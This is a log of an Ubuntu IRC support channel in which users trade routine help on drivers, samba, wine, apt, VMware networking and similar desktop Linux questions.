Lam_Hansel: i know how to use cp. i don't know how to copy TO a samba share though03:14
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hakrzcodeLam_ smbclient03:14
Hanselahh...03:14
Lam_hakrzcode: thanks03:14
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hakrzcodeLam_ No prob.03:14
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MrOregonhow do I get the webcam to work?03:14
CyfrMonkMadm3rlin: they have some closed-source code in the software and I bet it doesn't compile on PPC.03:14
diederickI'v just installed ubuntu efty, and trying to tweak my video card ... I've got a msi 7600GT. Can I somewhere check if there is a supported driver?03:14
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Madm3rlinhah03:15
kupesoftis a system's default umask set in /etc/login.defs03:15
Madm3rlingood thing i didnt buy cedega03:15
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CyfrMonkMadm3rlin: http://www.transgaming.com/index.php?module=ContentExpress&func=display&ceid=36&meid=#703:15
BluedogI know this is asked all the time, whats a good temp monitoring prog for ubuntu?03:15
CyfrMonkMadm3rlin: see #8 on the FAQ03:15
Hansel!webcam03:15
ubotuwebcam is now easy to install on Linux; instructions at https://help.ubuntu.com/community/Webcam Supported cams: https://wiki.ubuntu.com/HardwareSupportComponentsMultimediaWebCameras03:15
HanselMrOregon,  read up03:15
noobcookhey ppl03:15
Madm3rlinbut cider will work03:15
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Oni-Draculai hate restarting my ubuntu box03:16
noobcookwhats the command to check what ver of kernal u have03:16
Madm3rlinthats an intel mac though03:16
Madm3rlinhmm03:16
Hanseluname -ar03:16
Oni-Draculaxorg keeps breaking >_<03:16
Madm3rlinlooks like this wont work03:16
Madm3rlinsighz0e03:16
NkZWhen trying to move files to my HDB (Mounted) It will say "You do not have permissions to write to this folder."03:16
hakrzcodenoobcook, uname -r03:16
Madm3rlinthx for all your help guys03:16
CyfrMonkMadm3rlin: dont give up - if you have a compiler you can fix any thing ;)03:16
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CyfrMonkMadm3rlin: ok, except on a PPC...03:16
noobcookthanks03:16
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hakrzcode!uname | Hansel03:17
ubotuSorry, I don't know anything about uname - try searching on http://bots.ubuntulinux.nl/factoids.cgi03:17
noobcookalso im having some trouble compiling Xine on ubuntu can anyone offer some hints?03:17
Hanselhakrzcode, ?03:17
SqueeNKZ: type "sudo -i" then do it03:17
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Madm3rliner so there is a way03:17
Madm3rlinor no03:17
hakrzcodehmmm, Hansel, -a overrides -r , in uname: -a is all, -r is revision03:17
kinjo_how do i unrar multiple files..?03:17
NkZSquee: That will work even if moving the file via nautilus?03:17
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diederickoh man ! I just installed ubuntu and its so faaaaassstt!03:17
SqueeNKZ: start nautilus as root03:18
kinjo_its in hte form of r00 to r4503:18
Squeejust be careful03:18
NET||abusehey guys :), having fun here, i ran the upgrade proceedure on my laptop from dapper to edgy,, didn't go so well :(03:18
hakrzcodediederick, but can it blend?03:18
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diederickblend?03:18
mgardnerhaha03:18
mgardnerwww.willitblend.com03:18
noobcook!xine03:18
ubotuSorry, I don't know anything about xine - try searching on http://bots.ubuntulinux.nl/factoids.cgi03:18
NkZSquee: Any way to give me root powers to write to HDB? I tend to avoid root (Kind of a wuss)03:18
NET||abuseso i need to figure out how to get things working on my desktop again :P03:18
NET||abusewhen i try to start programs, they just don't appear.03:19
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SqueeNKZ: not that i know of03:19
diederickrestarting..03:19
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HanselNET||abuse, pull up a terminal and try starting them... see if they return any errors03:19
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doofy2how do you add music to presentations in oo so that it plays throughout the slide show?03:19
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Hanselor can you not even pull up an xterm?03:19
NET||abusethe task bar shows the "starting firefox" or whatever, but that vanishes and nothing :(03:19
NkZSquee: Thanks Anyways. :-) I will see if someone on the forums has my same issue.03:19
HanselNET||abuse, you aren't by chance using KDE are you?03:19
mag_hey do you know someting about ACL's in samba ? I need help !03:20
NET||abuseHansel, can't do didly on the desktop, im on tty2 at themo in ircii03:20
Hansel!samba03:20
ubotusamba is is the way to cooperate with Windows environments. Links with more info: https://wiki.ubuntu.com/MountWindowsSharesPermanently and http://help.ubuntu.com/ubuntu/serverguide/C/windows-networking.html - Samba can be administered via the web with SWAT03:20
NET||abuseHansel, no i'm on gnome03:20
hakrzcode!samba | mag_03:20
ubotumag_: samba is is the way to cooperate with Windows environments. Links with more info: https://wiki.ubuntu.com/MountWindowsSharesPermanently and http://help.ubuntu.com/ubuntu/serverguide/C/windows-networking.html - Samba can be administered via the web with SWAT03:20
NET||abuseapt has a few problems,03:20
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noobcookcan anyone help compile xine on ubuntu?03:20
Hanselhakrzcode, s/|/>03:20
NET||abusegiving out about various python packages that arn't installing quite right03:20
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hakrzcodemag_, otherwise that is an advanced subject for samba, best to read the samba docs on that.03:21
mag_ubotu: Yes I know , now I have samba but my problem is some different I need to have a list control accses03:21
rioghalnoobcook, xine is in the repos. Why are you compiling it?03:21
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noobcookit is rioghal?03:21
Q_ContinuumHow can I get a root file browser?  I can't seem to unpack an update to UT2004 without it going into its own folder, and I'm not going to manually move each file in the update...03:21
noobcooko man03:21
rioghalnoobcook, yeah, hold on..03:21
noobcookok03:21
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kupesoftWhat's the best way to set up a system where users have no access to others files but share a common web server?03:21
hakrzcodeHansel, pipe the name to the command for personal referencing. just doing the samba bit, does not let them know it is for them.03:21
BluedogI know this is asked all the time, whats a good temp monitoring prog for ubuntu?03:21
noobcookrioghal i reinstalled lol03:21
rioghalnoobcook, xine is in the universe repo, enable universe and do: sudo aptitude install xine-ui03:22
user01how do i split apart what plugin in mozilla takes what task if i have two plugins that could do either?03:22
mag_hakrzcode: yes I was reading someting on samba but the infortmation is not clear for me, can you help me with ACL's ?03:22
rioghalnoobcook, You did?03:22
noobcookok03:22
noobcookyeh03:22
pr3d4t0rHave a good evening, gang.03:22
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nhainesuser01: you mean for media files?  I don't think there is a way to do that.03:22
noobcookdoing fresh installs now that i know what i need to do03:22
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rioghalnoobcook, you use apt-get or aptitude?03:22
noobcookaptitude03:22
user01nhaines: yeah i want vlc to handle most things except for quicktime that totem does better03:23
hakrzcodemag_ , I know what you mean, but I have not used ACLs with Samba, so unless someone here volunteers, I am not sure of the help you will get.03:23
noobcookapt get is anoying03:23
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juanosomeone knows how to fix IP-restrict-NAT for webcam in amsn? i=m having this issue since im behind a router, thanks03:23
Hanselapt-get works as intended.03:23
rioghalnoobcook, you can search for a particualr app with: aptitude search appname03:23
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diederickhi all03:23
Hanselhi again diederick03:23
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aibhow can I tell what package provides a particular file? e.g., Xrender.h. I know it's probably a -dev03:23
hakrzcodenoobcook, when you get used to apt-get, then you will really be cooking.03:23
noobcookah ok cool03:23
rioghalnoobcook, if you can't find an app, you might need to enable a repo03:23
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Flannelaib: packages.ubuntu.com has a search (scroll down)03:24
NET||abusefrom what i've read, aptitude will remove unneeded packages automatically03:24
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diederickI've just installed the nvidia-glx package, and I try to do a "sudo nvidia-glx-config enable", but I get this error: sudo nvidia-glx-config enable03:24
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NET||abuseapt-get is a little less useful that way03:24
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diederickuhh w803:24
mag_hakrzcode: do you know someone that can help me ?03:24
aibi can't do it from the command-line?03:24
diederickthis: Error: unable to load nvidia kernel driver! Be sure to have installed03:24
hakrzcodemag_ , no sorry.03:24
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wadoohi all03:24
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aibon fedora, i used to type `yum provides xrender.h'. there is no equivalent in debian-land?03:24
NkZSquee: I solved it Squee. It was a command line. I will give it to you in case someone else asks.03:24
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Flannelaib: only if you've already installed the package.  apt doesn't download any information about the contents of a package until it's installed03:25
noobcookrioghal: i did03:25
cafuegoaib: apt-file03:25
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Hanselaib - I believe dpkg -l03:25
mag_hakrzcode: ok thank's :P03:25
NET||abuseug, ircii is kinda muck,, any console based irc clients that'll color things ??03:25
noobcookrioghal: i found out the hardway you cant install custom drivers when u are booted in install mode03:25
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diedericksomeone?03:25
wadoohi all i need help with some things.03:25
juanodiederick: probably edit /etc/X11/xorg.conf and change "nv" for "nvidia"03:25
diederickoke03:25
wadooi soo new on this03:25
cafuegoaib: You need to install apt-file, then run 'apt-file update' and 'apt-file search <string>'03:25
NkZsudo chown -R (username) /(folder you want to write) Example : sudo chown -R francisco /storage03:25
aibcafuego, thanks03:25
rioghalNET||abuse, the version of apt-get in Edgy can do that too, you need to use the --auto-remove option to do that in Edgy.03:25
juanodiederick: at driver in card section03:25
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rioghalnoobcook, Live and learn 03:26
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cafuegoaib: If the file already exists, you can check where it came from via dpkg -S /path/to/file03:26
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wadooif is posible to install alias maya 7 on ubuntu 6.1003:26
cafuegokinjo: unrar e file.r0003:26
noobcookrioghal: its hard to sleep now i lie in bed thinking of all the possible things i could try to install this and get that to work and to do this and that03:26
NkZSquee: In case someone else has Issues mounting HDs on Ubuntu Here is a good page you can foward them to: http://daryl.learnhouston.com/2006/05/03/adding-a-hard-drive-to-a-ubuntu-linux-box/03:26
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hakrzcodekinjo, unrar whatever.rar, will reference all the multiples.03:26
NET||abuseug,, i'm pooped, think i'll work on this tomorrow..03:27
bruenigyou need the e03:27
NET||abusenight all,,,03:27
kinjocafuego, ah thx...was trying unrar -e....03:27
Double_Danyone: is anyone else having problems with X coming back from hibernation the last couple days?03:27
diederickjuano I see: Section "Device" with an entry "driver" (with nv) do I need to change that?)03:27
juano!rar | kinjo03:27
ubotukinjo: rar is a non-free archive format created by Rarsoft. For instructions on accessing .rar files through the Archive Manager view https://help.ubuntu.com/community/FileCompression. There is a free (as in speech) unrar utility as well, see !info unrar-free03:27
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bruenigDouble_D, the only way that would make sense is if there was an upgrade, was there?03:27
juanodiederick: yeah, change "nv" for "nvidia"03:27
NkZThanks! Have a good night now. All take care!03:27
wadooand how to use .exe?03:27
Double_Dbruenig: there were updates, yes.03:27
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juanodiederick: that helped me03:27
rioghalnoobcook, Guess what, you're a gook, lol03:27
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bruenig!wine | wadoo03:27
ubotuwadoo: wine is a compatibility layer for running Windows programs on GNU/Linux. See https://help.ubuntu.com/community/Wine for more information.03:27
rioghals/gook/geek03:27
diederickjuano and than? (after changing)03:28
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trilliji!nvidia03:28
ubotuTo install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto03:28
Double_Dbruenig, i also know another person reporting the same issue, so i'm wondering if anyone else is experiencing it.03:28
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juanodiederick: if it doesnt help leave it as it was, to apply changes restart X03:28
wadoomen i soo lost on this but i dont want to get back to windows03:28
Q_ContinuumHow can I get Konquror to let me see all the folders on the index on the left, rather than just media and home?03:28
Double_Dbruenig, figured this would be a good place to ask.03:28
noobcookrioghal AHA its your fault for making me use ubuntu =p03:28
diederickjuano: how can I restart it?03:28
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kinjocafuego, hey why is it unrar e and not unrar -e???03:28
rioghalnoobcook, It's the best, man03:28
Hanselwadoo - sudo apt-get install wine..... if you need a wine repository to add to your sources.list let me know and I'll look it up.03:28
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bruenigDouble_D, I didn't see an update. I saw a kernel update, probably saw that and ignored the rest03:28
Hanselwadoo - once wine is installed you just       wine thefile.exe03:28
juanodiederick: ctrl + alt + F1, login, then sudo init 3, then sudo init 503:28
bruenigkinjo, the developers made it like that03:28
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juanoctrl + alt + F7 comes back here03:29
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juanoctrl + alt + F7 (GUI)03:29
noobcookrioghal: its true but er a lot more effort, eg installing cusom this and that btw is vmware in the deb03:29
kinjobruenig, oh alright thanks.....03:29
diederickjuano: do I need to update the md5sum?03:29
mgardnerhey I've been following the nvidia discussion that was flying by, I have a question.  I just upgraded my gfx card and I think my drivers/Xorg is freaking out.  Any way to re-install/fix it03:29
aibcafuego, this only searches packages i already have copies of?03:29
Double_Dbruenig, they were whatever updates i ran two days ago, i think they were four or five days old.  does that sound right?03:29
rioghalaib, You don't need to install apt-file, you can search for a file with: dpkg -S filename03:29
wadoohansel thanks but seems to be that i cant instal wine and i try... im thinking iusin mandrake that i heard someone did it..03:29
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Hanselwadoo - what error do you get when you try installing wine?03:30
Double_Dbruenig, as in originally came out four or five days ago.03:30
juanodiederick: not sure on that one03:30
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Hanselwadoo - by default it's not in the repository so you have to update your sources.list then apt-get update prior to installing.03:30
wadoolooks like is soemthing with the amd6403:30
aibok, i have about a dozen packages i need to locate based on missing files. what's the best way for me to do this?03:30
juanodiederick: !nvidia did you try this?03:30
bruenig!info wine03:30
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MrOregongood got the webcam working03:30
ubotuwine: Microsoft Windows Compatibility Layer (Binary Emulator and Library). In component universe, is optional. Version 0.9.22-0ubuntu3 (edgy), package size 9001 kB, installed size 42452 kB03:30
juano!nvidia | diederick03:30
ubotudiederick: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto03:30
Graighello. i am having a problem with my ati drivers.03:30
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Hanselaib - so you are trying to install a pkg but it complains about missing dependencies?03:30
itsmabushow do I get networking to work with vmware? if I have a virtual machine with a device bridged to my main internet NIC on the host machine, how do I ping the router/the rest of the net?03:31
juanodiederick: check bots url03:31
diederickthanx03:31
rioghalaib, What are you trying to install?03:31
nhainesitsmabus: Everything should be automatically detected in VMware.03:31
bruenigwadoo, yeah amd64 is a pain, I would use i386 unless you are really experienced03:31
aibHansel, I am trying to install Qt in a very limited dchroot, and based on files that it fails to find, I need to install those packages03:31
bruenigwadoo, for now at least03:31
Graigi installed them, and i am getting direct rendering, but the scary thing is. when i run fgl_xgears, it makes a noise from the computer and the framerate stutters, and i cant move the window around.03:31
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kupesofthow do I build a proper chroot'd environment for a new user?03:31
wadoooh i have the amd x2 440003:31
Hanselkupesoft - that all depends on what "proper" means.03:32
pbthere away to start firestarter when booting up and minimizing it??  I am currectly using:  sudo firestarter --starthidden  / is there a minimized switch??03:32
juanoitsmabus, try route add -net $ipnet -netmask $submask , then try route add default gw $ipgateway03:32
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juanoitsmabus: thats inside the virtual machine of course03:32
Hanselyou just want them stuck over in /home/whatever and restricted access to only a few /bin's?03:32
buu=[03:32
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Flannelpb: why do you want to start firestarter and immediately minimize it?03:32
bruenigwadoo, right, I would install the 32 bit version03:32
wadoowell i soo new on linux    a few days using ubuntu03:32
itsmabusjuano: I think it's a problem with my host machine not forwarding the packets on to the gateway03:32
itsmabusjuano: I can ping the host from the vm and vice versa03:32
rioghalpb, you do realize that the firewall starts when you boot, firestarter is just a GUI front-end and when you close firestarter the firewall continues running, right?03:33
juanoitsmabus: iptables -P FORWARD ACCEPT (on host)03:33
pbwhen it is hidden i don't know if it is running or not?03:33
kupesoftHansel: bare-bones,03:33
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diederickbrb03:33
Graiganyone experienced with ati drivers?03:33
Flannelpb: firestarter is just a configuration editor, the firewall runs all the time, regardless (it's built into the kernel)03:33
rioghal!ati03:33
ubotuTo install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto03:33
Graigmy card makes noise when i do 3d.03:33
wadoothe ububtu 6.10  for 32 bits... but that is the main reazon why i want to use the 64 bit version to work better on maya03:34
pbok, I get it thanks03:34
juanoitsmabus: echo 1 > /proc/sys/net/ipv4/ip_forward (on host also)03:34
hakrzcodepb, firestarter basically writes a script that is run when booting your system. The gui is good for dynamically adding hosts, and to view blocked traffic.03:34
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diederickjuano: well something change...03:34
wadooand sorry but dont have any clue of codes...03:35
diederickthough I'm not sure if its correct...03:35
jamesb2147having some more issues...  installed xp drivers for dwl-g122 using ndiswrapper command in edgy (after installing 1.8, of course) and it still says the drivers are invalid!03:35
pbgood to know thanks for your reply03:35
itsmabusjuano: ok03:35
jamesb2147guy on the ndiswrapper wiki says that he got it working on debian03:35
bruenigwadoo, you will have problems using 64 bit, if you aren't really experienced, you should use 32 bit.03:35
wadooand the good this is that the install was soo smoth03:35
atoponceKyral: ping03:35
juanodiederick: you can try glxgears in a terminal to see if theyre ok03:36
bruenigwadoo, what language do you speak03:36
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Kyralhuwah03:36
Kyralwhy does someone want me?03:36
wadoook... if i have no choice i will03:36
wadoo i wont go back to win...03:36
juanodiederick: type glxgears, if theyre al slowwish stuttery then its wrong, if they move nice and smooth and rather fast then your good03:36
wadoono more03:36
diederickjuano: that works perfectly03:36
rioghalwadoo, That's the spirit 03:36
Hanselwadoo - welcome to the club.03:36
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diederickso it works?03:36
Hanselwadoo - I gave up on Windows entirely about 2 months ago...03:36
nhainesI'm glad you like Ubuntu so far, wadoo.  :)03:36
diederickhow can I change my resolution?03:36
Hanseldiederick - edit your xorg.conf... gnome and kde usually have resolution changing options.03:37
nhainesI gave up on Windows just as 6.06 came out.03:37
Hanselnot sure for other wm's03:37
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diederickoke great!03:37
itsmabusjuano: no luck03:37
diederickwell gonna sleep now, and I'll continue tomorrow03:37
juanodiederick: try Hansel comment03:37
Camdenmy kid is running a game under wine03:37
Camdenand wants to pause it03:37
diederickone thing...03:37
wadooyes but in my case is kind of frustrating cause i need to erase my win brain of work..03:37
Camdeni.e. time for bed03:37
juanodiederick: good luck! :)03:37
diederickI've two screens, is that supported ?03:37
Camdenhow do i pause it03:37
juanodiederick: yes?03:37
Camden?03:37
diederickgreat!03:38
Camdenit is a full screen windows game03:38
rioghalCamden, That should be in the game's documentation03:38
juanodiederick: yes, you can enter nvidia-settings from command line03:38
Bluedogwhats the diff between running gnome->add/remove application03:38
Bluedogand synaptic?03:38
HanselCamden - probably ESC ?03:38
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Camdeni tried that03:38
wadoothanks  i will get the 32 bit version now,,, cya latter..03:38
Bluedogits similar, but synaptic has more, why is this?03:38
Camdenisn't there a wine key?03:38
diederickjuano: really thanx a lot! see you later!03:38
bruenigBluedog, well they look different03:38
Camdento send a STOP signal?03:38
jamesb2147anyone know wireless...?03:38
Camdenlike Ctrl-Z?03:38
HanselCamden - some games dont have pause... wine doesn't have a pause key but you could potentially CTRL Z it and that will send it into the background.03:38
Camdenit doesn't work03:38
Bluedogif you can install something from both, is there a difference?03:38
CamdenCtrl Z03:38
FlannelBluedog: they do the exact same thing, one gives you more control (and overwhelms some people), the other is more newbie friendly03:38
bruenigBluedog, no03:38
Bluedogawesome :)03:38
itsmabusjuano: the local ip for eth0 on the vm is 192.168.0.101 and on wlan0 on the host it's 192.168.0.100 .. both were obtained with dhcp03:38
Bluedogthankyou03:38
juanoitsmabus, try route add -net $ipnet -netmask $submask , then try route add default gw $ipgateway, do this in the host03:38
HanselCamden - you would have to CTRL Z it from the xterm you launched it from03:39
wadookubuntu 610 is like the same right?03:39
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hakrzcodeBluedog: The add applications prog, is more for windows users, ease. It is simpler.03:39
bruenigBluedog, you can always use apt-get from the command line03:39
aussieaubsanyone installed beryl or 3ddesktop on ubuntu and can vouch if its worth the bother?03:39
Hanselyou cant just CTRL Z from within the game.03:39
juanoitsmabus: on the CLIENT sorry03:39
pbjust wondering if anyone here has sucessfully got evolution to work with exchange server?  no help needed I will keep on working on it until i get it working someday03:39
Bluedogok :)03:39
itsmabusjuano: substitte those variables with what?03:39
Hanselaussieaubs, if you have the hardware to do it then yes... it is very "pretty"... whether or not it's "worth" it is another matter.03:39
rioghalaussieaubs, 3ddesktop works great, but it's just a fancy eye-candy pager03:39
Camdeni have successfully killed this game before by using Alt-Tab to get an outline of the xterm, then hitting Ctrl-C03:39
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Hanselaussieaubs, do you think lots of unnecessary eye candy is "worth" the time to configure it?03:39
Camdenbut Ctrl-Z doesn't seem to pause it03:39
jamesb2147anybody, PLEASE...  i need help with my wireless!03:40
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Hanseljamesb2147, use this link....03:40
Hansel!wireless03:40
juanoitsmabus, try route add -net 192.168.0.0 -netmask 255.255.255.0 , then try route add default gw $ipgateway, do this in the VM03:40
ubotuWireless documentation can be found at https://help.ubuntu.com/community/WifiDocs03:40
factboy818181using CUPS and trying to print to a lexmark 5200 printer, but it doesn't do anything - can't even print the test page.  i get this in the cups error log: cupsdAuthorize: Local authentication certificate not found03:40
aussieaubshansel - rioghal - thanks guys. im curious as to if my card is good enuf03:40
Hanselaussieaubs, what do you have?03:40
juanoitsmabus: is your Host connecting directly to net or behind routeR?03:40
rioghalaussieaubs, What kind of card is it?03:40
aussieaubs64 card built onto mobo of HP slimline unit its a P4 unit03:40
aussieaubs64mb hansel03:41
Hanselaussieaubs, geforce?  ati?  what version of card?03:41
aussieaubsyep nvidia03:41
Hanselgeforce 3?03:41
Hansel4? 5? 6? 7? 92348920?03:41
jamesb2147hansel: i already did that and followed the instructions and they were great for getting ndiswrapper installed, but then i install the wireless files and nothing.  says they're invalid.03:41
Camdenwe used to play this game under windows, and the only way we could pause it was to do Ctrl-Esc (to get the task bar visible), then clicking on some other window03:41
aussieaubsumm 1 sec03:41
Hanseljamesb2147, its possible your card isn't supported  :(03:41
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Camdeni'm actually surprised it works so well under wine, but pause would be nice03:42
juanoitsmabus: is your Real PC connecting directly to internet? or is it behind a router?03:42
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HanselCamden, check winehq website for info on the game... maybe its a lil trick somebody documented?03:42
jamesb2147the only thing is, some guy got it to work using debian and ndiswrapper03:42
Camdenok03:42
juanoitsmabus: if your real PC connects directly to internet, then your gateway should be real pc ip of interface thats connected to your LAN03:43
HanselCamden - keep in mind its a compatability layer... things might not work EXACTLY like in Windows.03:43
Camdenanother thing i thought of would be to ssh to the machine over my LAN and send a STOP signal (kill -STOP) to wine03:43
Camdenbut i don't have sshd running on it03:43
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Hanselyou could always pull up another term and kill -STOP the pid...03:44
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Hanselor kill -15 or -9 it  tee hee03:44
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hakrzcodeHansel, I believe you are thinking of -HUP?03:45
Hanselhakrzcode, no... I'm telling him how to completely kill off the process  :P03:45
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Hansel-HUP is a SIGHUP...03:45
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hakrzcodethat will usually reload any configuration or allow the process, to shutdown nicely, but if you wish the deathwish, then it is -9.03:45
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Hanselhakrzcode, of this I'm aware.  :)03:46
hakrzcodeA cat only has 9 lives. you use them up in one shot.03:46
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juanohakrzcode is right, kill -HUP (daemon)03:46
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Camdenhmmm ... seems this game was giving the wine developers fits back in '0203:46
Camdensomething about an "unmanaged window"03:46
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HanselCamden - just pull up a term and kill -STOP then -CONT when you wake up :)03:47
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Hanselnot really "pause" though.03:47
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b14ck73425can anyone here help me with a wine problem?03:47
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h3xisb14ck73425, see #alcoholics-anonymous03:47
Hanselb14ck73425, we can try if you ask a specific question.03:47
anubis_Totem could not play 'mms://wm2-cm.edgestreams.net/1e/e6/1ee675846fc8b20cd05c1b8140a69b6d-451d68a5.asf?auth=caEbXaYcSbycGbqcUaocraUa8diawasb7dy-bfPVAo-eS-Ovb=0001'.03:47
b14ck73425ok03:47
black_abaddoni am troller03:48
black_abaddonnight to you all03:48
shan1Is it possible to use Amarok to put songs on your ipod when it's rockbox'd?03:48
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mgardnercan someone help me with some xorg/nvidia problems?  I changed cards and now its acting up03:48
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b14ck73425everytime i try to configure wine sound i get this -Creating link /root/.kde/socket-74k3n.03:48
b14ck73425can't create mcop directory03:48
Camdenhow can i get a term up03:48
draeathIs something wrong with the repos?03:48
neil_edgyhelp i cannot run icq groupware under wine upon firing it up, installation was okay though03:48
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draeathI keep getting messages like "502 Bad Gateway [IP: 146.137.96.7 80] " from apt03:48
Hanselb14ck73425, you may need to sudo the command... or strace to find out why its giving the error.03:48
aussieaubswoah - my whole xwindows just reset back to the logon screen...03:48
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DesertEaglehello all03:49
Hanselaussieaubs, thats scary.03:49
b14ck73425i was under sudo03:49
draeathmostly when trying to use http://us.archive.ubuntu.com03:49
b14ck73425or i was sudo rather03:49
mgardnerdraeath: I've been having those problems too03:49
iketurnercan you ping it03:49
aussieaubsi was trying to get the details of my vid card...03:49
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DesertEagledoes anyone know where the keymapping file?03:49
draeathmgardner, OK, as long as it's not a problem for me alone then I can stop panicing03:49
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dionysos22_join #mepis03:49
HanselDesertEagle, /usr/lib/kbd/keytables/*.map03:49
shan1I want to use amarok to transfer files onto my rockbox'd ipod...is that possible?03:50
draeathiketurner, yes, it pings OK03:50
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draeath502 is an http error, so TCP/IP is working03:50
mgardnerdraeath: it seems to happen every now and then03:50
aussieaubsok i think the card is nvidia quadro nvs03:50
aussieaubs64mb03:50
draeathmgardner, maybe when a change propagates the cluseter?03:51
aussieaubsbus type is agp03:51
Camdenanubis_ i'm getting unauthorized for that mms03:51
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draeathmgardner, hopefully the archive isn't one host :P03:51
Camdenhow are you feeding it to totem?03:51
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DesertEagleHansel are you sure? there's no dir kbd in /usr/lib03:51
Camdeni've had issues with similar subscription multimedia03:51
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DesertEaglei thought it was /usr/share/X11/XKeysymDB03:51
mgardnerdraeath: it seems to happen at really random intervals.  I've been trying to redo my nvidia/beryl install and I get it popping up every now and then when I call update03:51
itsmabusjuano: my laptop (192.168.0.100) hosts the vm (192.168.0.101), and the laptop connects through the router at 192.168.0.103:51
DesertEaglebut apparently it isn't the only one03:51
aussieaubshansel - nvidia quadro03:52
Camdenthe trick i found is that the server only lets you download it once with that auth id03:52
HanselDesertEagle, /etc/X11/xkb/keymap  ???03:52
juanoitsmabus: ahh, then it would be like this03:52
Camdenso if you hit it with a player then try to hit it with a capture program03:52
Camdenit won't work03:52
Hanselaussieaubs, I'd ask in #beryl to be 100% sure but I think it will work.03:52
Camdenyou have to hit it with the capture program right away03:52
iketurnerdoes anyone have a link to installing apache mysql php503:52
itsmabusjuano: 101 and 100 are supposedly bridged03:52
aussieaubsok thanks03:52
juanoitsmabus, try ---->1)  route add -net 192.168.0.0 -netmask 255.255.255.0 , 2) route add default gw 192.168.0.1, do this in the VM03:52
Flannel!lamp | iketurner03:52
ubotuiketurner: LAMP is an acronym for Linux-Apache-MySQL-PHP. However, the term is often used for setups using alternative but different software, such as Perl or Python instead of PHP, and Postgres instead of MySQL. For help with setting up LAMP on Ubuntu, see  https://help.ubuntu.com/community/ApacheMySQLPHP - See also the Server CD installation process (different in Edgy+)03:53
itsmabusiketurner: you can do all of that with the press of a button with the ubuntu server install cd03:53
Camdenso if totem is hitting it after something else already hit it, it will get Forbidden03:53
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itsmabusjuano: already tried that, said file exists for #203:53
DesertEagleHansel it says not to use that one, but doesn't say where to :(03:53
Camdeni mean unauthorized03:53
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iketurnerI installed the workstation I dont mind installing each package03:53
MindFreekhow do I upgrade my Ubuntu install to 64bit03:54
iketurnermakes me better03:54
draeathanyone know how i can get raw kernel message output (or whatever dmesg displays) on a terminal?03:54
juanoitsmabus: echo 1 > /proc/sys/net/ipv4/ip_forward (on host also)03:54
FlannelMindFreek: your current install is 32?03:54
MindFreekyes.03:54
juanoitsmabus: iptables -P FORWARD ACCEPT (on host also)03:54
noobcookwhats the command to see flagged staff memebers03:54
itsmabusjuano: and I think -net is wrong syntax.. --net is unrecognized and -net makes it says that t is an invalid option03:54
HanselDesertEagle, /usr/X11/kbd/keymap/xfree86  is that what you looked at?03:54
itsmabusjuano: already did that03:54
FlannelMindFreek: I don't believe an "upgrade" is possible.  Believe it requires a fresh installation03:54
mgardnerdraeath: I just ran update again and it seems to work03:54
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draeathhah! fail2ban caught another bot.03:54
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dionysos22_anyone know how i can fix my touchpad.. it wont drag under ubuntu03:54
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draeathdionysos22, synaptics?03:55
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MindFreekFlannel, oh, I was under the impression (from some very initial searching) that I could just upgrade. IF IT AINT BROKE, DONT FIX IT. I will just leave 32-bit03:55
dionysos22_yeah03:55
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juanoitsmabus: add sudo before each command, forgot that darn..03:55
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draeathdionysos22_, whip out your text editor and read 'man synaptics'03:55
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nhainesMindFreek: yeah, 64-bit is an entirely different platform and you have to install from scratch.  On the bright side, there are still problems with 64-bit, so you're not missing much.  :)03:55
dionysos22_awesome03:55
itsmabusjuano: I'm logged in as root03:56
draeathdionysos22_, make sure xserver-xorg-input-synaptics is installed though03:56
MindFreeknhaines, will it make a significant difference, 32 vs 64 ?03:56
juanoitsmabus: k, also 1 more thing03:56
juanoitsmabus: in vmware, you should select bridged network option03:56
DesertEagleHansel that one's weird, i was looking for something like /usr/share/X11/XKeysymDB as suggested by http://gentoo-wiki.com/HOWTO_Use_Multimedia_Keys03:56
juanoitsmabus: for ethernet card, theres 4 options you should choose bridged, not NAT03:56
itsmabusjuano: wlan0 on the host and eth0 on the vm are supposedly bridged03:56
nhainesMindFreek, no, it really doesn't.03:56
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mgardneragggg I got the 502 error when trying to apt-get, anyone else being bothered by this?03:57
draeathdionysos22_, looking for the specifics for dragging. I assume you want tap-drag03:57
DesertEagleitsmabus: and, oh yeah, it's not a good idea to connect to IRC as root :P03:57
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MindFreeknhaines, ok, thanks, I appreciate the info.. .I will just leave it as it is... no problems yet with my 32b install03:57
MindFreekFlannel, thanks to you too.03:57
FlannelMindFreek: only if you have >4GB of ram03:57
HanselDesertEagle, http://howtos.linux.com/howtos/Danish-HOWTO-2.shtml  <--- look in section 2.303:57
MindFreekFlannel, I do not have that.03:57
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itsmabusDesertEagle: I'm logged into my vm as root, not even the same box I'm irssing on03:57
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nhainesMindFreek, well, *one* significant difference is that you can't run 32-bit plugins in 64-bit apps, like Flash in 64bit Firefox, or w32codecs in 64-bit players.  So...  :)03:58
iketurneryou can change the apt-get files to update from differnet sites like yum correct03:58
DesertEagleHansel oh my bad, i though that url was for someone else, thank you03:58
Hanseliketurner, yes.. its your sources.list file03:58
DesertEagleitsmabus: oh ok then :P03:58
KervanHow can i include my Apache?03:58
iketurnerthanks03:58
KervanSorry03:58
draeathdionysos22_, look for "LockedDrags"03:58
Flanneliketurner: it uses your sources.list, so sure.03:58
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MindFreeknhaines, so you are basically saying, that I should stick with 32b until there is more universal support for the 64b03:58
KervanHow can I include Ajax to Apache?03:58
dionysos22ok..03:58
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HanselKervan - you use ajax in your scripts... you dont need to compile anything extra into apache to get ajax to work AFAIK03:59
dionysos22thanks a bunch03:59
draeathdionysos22_, also SingleTapTimeout03:59
juanoitsmabus: should work, worked for me with solaris inside vmware03:59
noobcookis it better to install fglrx drivers or the ATI drivers off their site?03:59
juanoitsmabus: but didnt try ubuntu in vmware03:59
nhainesMindFreek, Yes, unless you want to play with it (try the Desktop CD!) or have some specific reason to run in 64-bit.  Almost everything works, but a couple common things don't.03:59
draeathdionysos22_, cant help much further than that, i use an external mouse rather than my pad03:59
FlannelKervan: they're entirely different.  One is serverside (apache), one is clientside (javascript), you'll want... some serverside language, it could be any of them though.03:59
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juanoitsmabus: you can ping fine to your host?03:59
itsmabusyep03:59
MindFreeknhaines, OK, I will keep all that in mind, I am relatively new to Ubuntu and Linux the like, so I might just mess around with this until I am more familiar.03:59
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HanselKervan - all you need to do with apache is add support for your scripting language (ie; ruby, php, etc)04:00
